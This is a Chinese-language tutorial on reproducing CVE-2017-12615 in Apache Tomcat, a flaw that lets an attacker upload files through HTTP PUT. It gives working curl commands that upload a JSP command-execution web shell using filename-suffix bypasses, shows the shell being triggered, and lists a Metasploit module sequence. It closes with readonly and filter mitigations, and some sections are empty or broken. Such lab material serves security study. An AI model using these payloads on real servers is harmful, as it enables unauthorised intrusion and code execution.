# 如何进行Tomcat远程代码执行漏洞CVE-2017-12615复现 ## 漏洞概述 CVE-2017-12615是Apache Tomcat服务器中的一个高危远程代码执行漏洞,影响版本为Tomcat 7.x至7.0.81(默认配置下)。该漏洞源于HTTP PUT方法的不当处理,攻击者可通过构造恶意请求上传JSP文件,最终实现任意代码执行。 ### 影响版本 - Apache Tomcat 7.0.x ≤ 7.0.81(默认配置) - 需满足以下条件: - 启用了HTTP PUT方法(默认禁用) - 未配置`readonly="true"`参数 ## 环境搭建 ### 实验环境要求 - 靶机:Ubuntu 20.04 + Tomcat 7.0.81 - 攻击机:Kali Linux 2023 - 网络:同一局域网或Docker环境 ### 靶机部署步骤 ```bash # 下载受影响版本Tomcat wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz # 解压并配置 tar -zxvf apache-tomcat-7.0.81.tar.gz cd apache-tomcat-7.0.81/conf # 修改web.xml启用PUT方法 sed -i 's/<readonly>true<\/readonly>/<readonly>false<\/readonly>/' web.xml # 启动Tomcat ../bin/startup.sh
使用curl发送测试请求:
curl -X PUT http://192.168.1.100:8080/test.txt -d "Hello CVE-2017-12615"
若返回HTTP/1.1 201 Created,说明PUT方法已启用。
Tomcat会拦截直接上传的.jsp文件,需使用以下技巧绕过: 1. 斜杠后缀绕过:
curl -X PUT http://192.168.1.100:8080/shell.jsp/ -d "<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>"
curl -X PUT http://192.168.1.100:8080/shell.jsp%20 -d "<jsp-code>"
访问上传的JSP文件并执行命令:
http://192.168.1.100:8080/shell.jsp?cmd=id
应返回当前用户的UID信息。
PUT方法处理缺陷:
JSP编译机制:
安全配置 | 漏洞状态 |
---|---|
readonly=true | 不可利用 |
readonly=false | 可被利用 |
启用PUT方法 | 必要条件 |
关闭PUT方法(conf/web.xml):
<init-param> <param-name>readonly</param-name> <param-value>true</param-value> </init-param>
添加Filter限制上传扩展名:
<filter> <filter-name>UploadFilter</filter-name> <filter-class>com.example.UploadFilter</filter-class> </filter>
msfconsole use exploit/multi/http/tomcat_jsp_upload_bypass set RHOSTS 192.168.1.100 set RPORT 8080 exploit
”`
注:实际复现时建议使用隔离的虚拟机环境,本文所述IP地址均为示例。完整复现过程约需30-45分钟,包含环境搭建、漏洞验证和防护测试三个主要阶段。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。